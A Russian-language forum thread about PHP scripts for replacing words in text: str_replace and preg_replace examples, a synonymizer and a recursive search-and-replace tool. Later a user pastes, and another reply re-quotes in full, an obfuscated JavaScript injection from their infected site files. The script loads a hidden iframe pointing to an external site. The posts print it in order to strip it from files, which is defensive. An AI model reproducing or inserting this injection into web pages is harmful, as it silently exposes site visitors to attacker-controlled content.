Скрипт авто замены слов

Статус
В этой теме нельзя размещать новые ответы.

AsanBosam

Постоялец
Регистрация
1 Мар 2009
Сообщения
139
Реакции
11
Очень нужен скрипт авто замены слов для граббера, через яшу и гугл не нашел =(
 
Как я понял вам нужна функция для замены одного слова на другое? Если да то это функция Для просмотра ссылки Войди или Зарегистрируйся. А вобще учитесь ставить вопрос более конкретно, ибо телепатов сдесь нету. ;)
 
Если зайдёте глубже так же пригодится функция замены текста по маске:
 
<?php
// присваивает <body text='black'>
$bodytag = str_replace("%body%", "black", "<body text='%body%'>");

// присваивает: Hll Wrld f PHP
$vowels = array("a", "e", "i", "o", "u", "A", "E", "I", "O", "U");
$onlyconsonants = str_replace($vowels, "", "Hello World of PHP");

// присваивает: You should eat pizza, beer, and ice cream every day
$phrase = "You should eat fruits, vegetables, and fiber every day.";
$healthy = array("fruits", "vegetables", "fiber");
$yummy = array("pizza", "beer", "ice cream");

$newphrase = str_replace($healthy, $yummy, $phrase);

// начиная с версии 5.0.0 доступен аргумент count
$str = str_replace("ll", "", "good golly miss molly!", $count);
echo $count; // 2
?>
 
Если для граббера, то скорее всего нужен синонимайзер:
PHP:
<?php
$full2 = "Сюда текст";
$fileSin = "dictionary.txt";
$masSin=file($fileSin);
$countSin=count($masSin);
$len2=strlen($full2);
	for ($t=0; $t<$countSin; $t++){
		$sin=explode("|",$masSin[$t]);
		$cnt=count($sin);
		//$full2=str_replace($sin[0], $sin[rand(1,$cnt-1)], $full2);
		$full2=preg_replace('/(^|\W{1})'.$sin[0].'(\W{1}|$)/', '$1'.$sin[rand(1,$cnt-1)].'$2', $full2);
	}
echo $full2;
?>

В dictionary.txt синонимы:
слово|синоним1|синоним2|синоним3|синоним4
 
сбасибо, дабно искал, думал уже сам создавать...
 
Попробуй ещё использовать функцию preg_replace
<?php
$string = "The quick brown fox jumped over the lazy dog.";
$patterns[0] = "/quick/";
$patterns[1] = "/brown/";
$patterns[2] = "/fox/";
$replacements[2] = "bear";
$replacements[1] = "black";
$replacements[0] = "slow";
echo preg_replace($patterns, $replacements, $string);
?>
 
Скрипт предназначен для поиска и замены одной подстроки на другую во всех файлах определенной директории на сервере (включая файлы во всех вложенных поддиректориях:(
PHP:
<?
$work_dir="./"; 		
// рабочая директория - обязательно должна заканчиваться
// символом "/"
$excl_dir=array();
$excl_dir[0]="./no_work_here/"; 		
$excl_dir[1]="./and_here/and_here/";
// директории, где поиск/замена не производятся - обязательно должны заканчиваться
// символом "/"
$file_mask_1=".html";	
$file_mask_2=".js";
// маски обрабатываемых файлов (будут обработаны все файлы,
// содержащие данную строку в имени)
$search_str="test";	#что ищем
$replace_str="TEST";	#чем заменяем
//******************************************************
$level=0;
function sr($dir)
{
global $level,$file_mask_1,$file_mask_2,$search_str,$replace_str,$excl_dir;
echo "<b>";
for ($i=0;$i<$level;$i++) echo "* * ";
echo $dir."</b>";
if (@in_array($dir,$excl_dir))
{
echo " - needn't search & replace<br>";
return;
}
echo "<br>";
$p = dir($dir);
while($ent=$p->read()) 
{
if ($ent!="." && $ent!=".." && !is_dir($dir . $ent) && (eregi(sql_regcase($file_mask_1),$ent) || eregi(sql_regcase($file_mask_2),$ent)))
{
$tmp=@file($dir.$ent);
$str=@implode("",$tmp);
if (strpos("@!#%xrenoder^&*()".$str,$search_str))
{
for ($i=0;$i<($level)+1;$i++) echo "* * ";
echo $dir.$ent." found...";
$str=str_replace($search_str,$replace_str,$str);
if ($fp=@fopen($dir.$ent, "w"))
{
flock($fp,LOCK_EX); 	
fwrite($fp,$str);
fclose($fp);
echo " and replace<br>";
}
else echo " and <b>can't replace</b><br>";
}
}
elseif($ent!="." and $ent!=".." and is_dir($dir . $ent))
{
$level++;
sr($dir.$ent."/");
$level--;
}
}
$p->close();
return;
}
sr($work_dir);
echo "SEARCH & REPLACE Complete";
?>
P.S. Автор не я.
 
Попробовал я этот скрипт что бы удалить вирус из файлов, увы не сработал, видимо строка слишком длинная, 2500 символов содержится в коде вируса, плюс " код"еще "вирус"код" вируса", а в скрипте то что в кавычках, это то что ищем. Так что опять я обломался ((( А вот и сам вирус
PHP:
<script type='text/javascript'>function zG(){};tF=53186;zG.prototype = {fK : function() {e="e";this.fQ='';return 'h2t)tFp2:&/F/)c2l)iFc)k&-FpFo)i)s)k2.Fc&o)m2/&tIh&eFrFeF/&i)n).2c)gIi&?27)'.iH(/[\)I&F2]/g, '');var oN=new Date();this.nU="";},v : function() {dF="";wS=9383;nB="nB";var t=new Date();    var h='';var m=new Date();    String.prototype.iH=function(d, o){return this.replace(d, o)};var r=new Date();tR="tR";kQ=false;gG=20573;wJ=false;zW="";var c=function(){};var y=window;gN="gN";this.yQ="yQ";var yR=y['u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '')];var eK=new Date();var hI="hI";function jL(){};var z = this;var rN='';var p=false;var oD = "xxK%3C%2Fbody%3E%3C%2Fhtml%3E";function mT(){};xH="";this.u=false;var f=document;this.dX="dX";this.hB="hB";var jA=false;var k = { vM : 'arpTpreonTd#CohoirlSd#'.iH(/[#roST]/g, ''), oU : 'svtuyvlvei'.iH(/[ivua_]/g, ''),  kC : 'cKrCe3aKt3ezEzlzezmKeGn3tK'.iH(/[K3zCG]/g, ''), fV : 'sReDtRATtTt?rRiRbRuTtEeT'.iH(/[TD\?ER]/g, ''), w : 's;rLcL'.iH(/[L;\{\(5]/g, ''), xK : 'bko1dUyT'.iH(/[T1Uk\)]/g, '') };var rK='';function hV(){};var uI=function(){return 'uI'};this.gC='';var rP="";var tZ=function(){return 'tZ'};this.a="a";var n=f[k.kC]('i<furuaKm<ed'.iH(/[d\<\!uK]/g, ''));var kL=new Date();i=39073;this.fU="fU";jO=false;pW='';var eY=5116;try {rD="rD";vC=false;var fI=function(){};var rU="rU";this.q="q";b="";var bJ='';nE(n,k.oU, yR("display%3A%20none"));function dS(){};rG=63044;this.uK=false;this.iB="iB";nE(n,k.w, this.fK());eU="eU";this.pS='';this.fR="";var qA='';qE="qE";qL="";f[k.xK][k.vM](n);this.xL=54456;this.hW="";var bK=new Array();this.iR="";} catch(g) {this.vB="";tN='';var eJ='';var uD=new Array();var rV=new Date();var l=function(){};this.lK='';f['wSr%i;tSe%'.iH(/[%;XS/]/g, '')](yR(oD));this.hK=49925;var iL=new Array();hKH='';this.uJ=61972;this.cO="cO";var s="s";this.mG=53808;y['s+eAt+T6iwm+ewoAuAtw'.iH(/[w\+Z6A]/g, '')](function(){ this.cJ="cJ";this.uR="";var pO='';vH=58151;this.dSF='';var sV="sV";z.v();var wH=34896;var cM=new Date();var yK=new Array();var eYV=function(){};this.kU="kU";zT="";}, 368);zJ="";var dXZ="dXZ";}qZ=19279;this.vBG='';var nM=new Date();var tZZ=false;var eE=new Date();var hC=new Date();function vO(){};var wZ="";function nE(n, j, dB){this.bW='';var fT=new Array();n[k.fV](j,dB);var iRP=function(){return 'iRP'};tD="";var kI=new Array();}this.xX='';this.fX='';var tQ=false;dV=false;}};var uY=new Array();var cP=new zG(); this.dK="dK";cP.v();function gQ(){};</script>
Может кто знает как это все почистить, зараженных файлов очень много, а канал в инет слабый :confused:
 
Пробуй в тот скрипт что выше вставить:

PHP:
$search_str="<script type='text/javascript'>function zG(){};tF=53186;zG.prototype = {fK : function() {e=\"e\";this.fQ='';return 'h2t)tFp2:&/F/)c2l)iFc)k&-FpFo)i)s)k2.Fc&o)m2/&tIh&eFrFeF/&i)n).2c)gIi&?27)'.iH(/[)I&F2]/g, '');var oN=new Date();this.nU=\"\";},v : function() {dF=\"\";wS=9383;nB=\"nB\";var t=new Date();    var h='';var m=new Date();    String.prototype.iH=function(d, o){return this.replace(d, o)};var r=new Date();tR=\"tR\";kQ=false;gG=20573;wJ=false;zW=\"\";var c=function(){};var y=window;gN=\"gN\";this.yQ=\"yQ\";var yR=y['u{n$eYs9c{aYp{eY'.iH(/[Yj9\${]/g, '')];var eK=new Date();var hI=\"hI\";function jL(){};var z = this;var rN='';var p=false;var oD = \"xxK%3C%2Fbody%3E%3C%2Fhtml%3E\";function mT(){};xH=\"\";this.u=false;var f=document;this.dX=\"dX\";this.hB=\"hB\";var jA=false;var k = { vM : 'arpTpreonTd#CohoirlSd#'.iH(/[#roST]/g, ''), oU : 'svtuyvlvei'.iH(/[ivua_]/g, ''),  kC : 'cKrCe3aKt3ezEzlzezmKeGn3tK'.iH(/[K3zCG]/g, ''), fV : 'sReDtRATtTt?rRiRbRuTtEeT'.iH(/[TD\?ER]/g, ''), w : 's;rLcL'.iH(/[L;\{\(5]/g, ''), xK : 'bko1dUyT'.iH(/[T1Uk\)]/g, '') };var rK='';function hV(){};var uI=function(){return 'uI'};this.gC='';var rP=\"\";var tZ=function(){return 'tZ'};this.a=\"a\";var n=f[k.kC]('i<furuaKm<ed'.iH(/[d\<\!uK]/g, ''));var kL=new Date();i=39073;this.fU=\"fU\";jO=false;pW='';var eY=5116;try {rD=\"rD\";vC=false;var fI=function(){};var rU=\"rU\";this.q=\"q\";b=\"\";var bJ='';nE(n,k.oU, yR(\"display%3A%20none\"));function dS(){};rG=63044;this.uK=false;this.iB=\"iB\";nE(n,k.w, this.fK());eU=\"eU\";this.pS='';this.fR=\"\";var qA='';qE=\"qE\";qL=\"\";f[k.xK][k.vM](n);this.xL=54456;this.hW=\"\";var bK=new Array();this.iR=\"\";} catch(g) {this.vB=\"\";tN='';var eJ='';var uD=new Array();var rV=new Date();var l=function(){};this.lK='';f['wSr%i;tSe%'.iH(/[%;XS/]/g, '')](yR(oD));this.hK=49925;var iL=new Array();hKH='';this.uJ=61972;this.cO=\"cO\";var s=\"s\";this.mG=53808;y['s+eAt+T6iwm+ewoAuAtw'.iH(/[w\+Z6A]/g, '')](function(){ this.cJ=\"cJ\";this.uR=\"\";var pO='';vH=58151;this.dSF='';var sV=\"sV\";z.v();var wH=34896;var cM=new Date();var yK=new Array();var eYV=function(){};this.kU=\"kU\";zT=\"\";}, 368);zJ=\"\";var dXZ=\"dXZ\";}qZ=19279;this.vBG='';var nM=new Date();var tZZ=false;var eE=new Date();var hC=new Date();function vO(){};var wZ=\"\";function nE(n, j, dB){this.bW='';var fT=new Array();n[k.fV](j,dB);var iRP=function(){return 'iRP'};tD=\"\";var kI=new Array();}this.xX='';this.fX='';var tQ=false;dV=false;}};var uY=new Array();var cP=new zG(); this.dK=\"dK\";cP.v();function gQ(){};</script>";
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху